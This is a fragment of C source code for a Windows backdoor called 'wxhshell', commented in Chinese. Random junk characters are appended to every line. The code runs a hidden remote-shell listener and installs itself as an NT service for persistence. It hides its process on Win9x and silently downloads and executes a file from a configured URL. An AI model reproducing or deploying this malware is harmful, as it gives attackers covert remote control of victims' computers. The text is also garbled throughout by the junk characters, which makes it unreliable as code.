} PROCESS_BASIC_INFORMATION; mdIa`OZr
`@i!'h
PROCNTQSIP NtQueryInformationProcess; t>%J3S>'ZV
'|K408i
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~D\ V!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !4
G9`>n
nK|WzUtp
HANDLE hProcess; ZIM 5$JdCv
PROCESS_BASIC_INFORMATION pbi; ?!kPW^gD
fmq9u(!R
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _cH 7lO[
if(NULL == hInst ) return 0; R>.
%0%iq
`}fwR
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qQUCK
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 38eeRo
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +t PqU6
[0mg\n?
if (!NtQueryInformationProcess) return 0; Mi_/
^
\py
\rI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fP:g}Z
if(!hProcess) return 0; =`6_{<&
#Y9~ Xp^.
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u@-x3%W
7q[a8rUdh
CloseHandle(hProcess); '`Iuf\
-.X-02
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <Xr{1M D
if(hProcess==NULL) return 0; J.QFrIB{]+
DJf!{:b)
HMODULE hMod; `V[{,!l;X
char procName[255]; r.b!3CoQ
unsigned long cbNeeded; \`M8Mu9~w
_}-Ed,.=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !z]2+
W{(q7>g
CloseHandle(hProcess); ?ydqmj2[F
m|w-}s,
if(strstr(procName,"services")) return 1; // 以服务启动 `aW>h8$I)
^5sO;vf
return 0; // 注册表启动 v5;V$EGD&
} f?A1=lm~
|[}!E/7>b
// 主模块 yk|<P\
int StartWxhshell(LPSTR lpCmdLine) &z(E-w/S
{ L^0s
SOCKET wsl; X)peY
BOOL val=TRUE; '{?7\+o.x
int port=0; 69$[yt>KYz
struct sockaddr_in door; hln.EAW'Yc
i#Y[I"'
if(wscfg.ws_autoins) Install(); zg2}R4h
<,!e*V*U
port=atoi(lpCmdLine); ]FNqNZ
sox0:9Oqnf
if(port<=0) port=wscfg.ws_port; 5dE@ePO[/9
M &g1'zv?/
WSADATA data; 9zKrFqhNo
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r2]KP(T8|
]%L?b-e
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `i,l)X]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "NgfdLz
door.sin_family = AF_INET; %cl=n!T
door.sin_addr.s_addr = inet_addr("127.0.0.1"); j%m9y_rg}
door.sin_port = htons(port); [Cx'a7KWL
LzW8)<N
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0//?,'.
closesocket(wsl); ;5bzXW#U
return 1; $&Ntdn
} aIl}|n"
ShV#XnQ
if(listen(wsl,2) == INVALID_SOCKET) { F5|6* K
closesocket(wsl); R"9^FQ13
return 1; "Vg1'd}f
} 3S~Gi,
Wxhshell(wsl); .MzVc42<
WSACleanup(); hv.$p5UY*
#~(VOcRI
return 0; ? %9-5"U[
69{BJ]q
} x"9e eB,
`EUufTYi
// 以NT服务方式启动 &]'{N69@d?
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?W*{%my
{ Nj<}t/e
DWORD status = 0; +M"Fv9
DWORD specificError = 0xfffffff; 2+7rLf`l
em+dQ15
serviceStatus.dwServiceType = SERVICE_WIN32; N<|_tC+ct
serviceStatus.dwCurrentState = SERVICE_START_PENDING; G98P<cyD
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wsnR$FhQ`
serviceStatus.dwWin32ExitCode = 0; aeQvIob@
serviceStatus.dwServiceSpecificExitCode = 0; h2SVDKj
serviceStatus.dwCheckPoint = 0; Y%FQ]Q=+
serviceStatus.dwWaitHint = 0; 78}QaE
ZPieL&uV`
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zF9SZ#{a
if (hServiceStatusHandle==0) return; 4'ym vR
L"|~,SVF
status = GetLastError(); jIMT&5k
if (status!=NO_ERROR) xpWx6
{ zq=X;}qYj
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5,I|beM
serviceStatus.dwCheckPoint = 0; [\ M$a|K
serviceStatus.dwWaitHint = 0; s[
ze8:
serviceStatus.dwWin32ExitCode = status; yM*-em
serviceStatus.dwServiceSpecificExitCode = specificError; @%7IZg;P6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H\Y5Fd9)
return; ?*36&Iq}
} ^u?#fLr
[]'gIF
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8!~8:?6n
serviceStatus.dwCheckPoint = 0; 4&}V3"lg
serviceStatus.dwWaitHint = 0; H]6i1j
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2qw -:
} ''{REFjK7
vr,8i7*0
// 处理NT服务事件,比如:启动、停止 `OL@@`'^{S
VOID WINAPI NTServiceHandler(DWORD fdwControl) Xu4C*]A>
{ g>m)|o'
switch(fdwControl) B}PT-S1l
{ "$->nC.
case SERVICE_CONTROL_STOP: 3D"2yTM(
serviceStatus.dwWin32ExitCode = 0; u3"0K['3
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?s=O6D&
serviceStatus.dwCheckPoint = 0; 0Jz5i4B
serviceStatus.dwWaitHint = 0; *Kpk1
{ KW* 2'C&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [g bYIwL.
} 0zQ^ 6@
return; F;4*,Ap
case SERVICE_CONTROL_PAUSE: {t.5cX"[
serviceStatus.dwCurrentState = SERVICE_PAUSED; k`l={f8C
break; emhI1
*}
case SERVICE_CONTROL_CONTINUE: xJphG
serviceStatus.dwCurrentState = SERVICE_RUNNING; O%g
Q
break; {:D8@jb[
case SERVICE_CONTROL_INTERROGATE: |[)k5nUQ|
break; 7#~v<M6
}; V`/E$a1&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); UlG8c~p
} =cwQG&as
qO;.{f
// 标准应用程序主函数 aC\O'KcH
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9g7d:zG
{ f<14-R=
y&ZyThqg
// 获取操作系统版本 B3+9G,or
OsIsNt=GetOsVer(); $+ z3
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q]JWWKt6rV
hA6
// 从命令行安装 kPhdfF*Q
if(strpbrk(lpCmdLine,"iI")) Install(); jL
}bGD
Ic 5TtN~/>
// 下载执行文件 !2.(iuE
if(wscfg.ws_downexe) { \kDQ[4mGq
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N\,[(LbA&
WinExec(wscfg.ws_filenam,SW_HIDE); P3Wnso
} PykVXZ7j;
L701j.7"
if(!OsIsNt) { 50s1o{xwc
// 如果时win9x,隐藏进程并且设置为注册表启动 o1kTB&E4B
HideProc(); 'n:|D7t
StartWxhshell(lpCmdLine); Vu0d\l^$
} M id v
else jW,b"[
if(StartFromService()) lOp7rW]$
// 以服务方式启动 Oe)d|6=
StartServiceCtrlDispatcher(DispatchTable); ~.Wlv;
else jmp0 %:+L
// 普通方式启动 j*.K|77WHj
StartWxhshell(lpCmdLine); O'm5k l
&z;bX-"E
return 0; TANv)&,|9
} i;flK*HOZ9
-w dbH`2Z"
9QQiIi$74U
Dias!$g
=========================================== lm;Dy*|<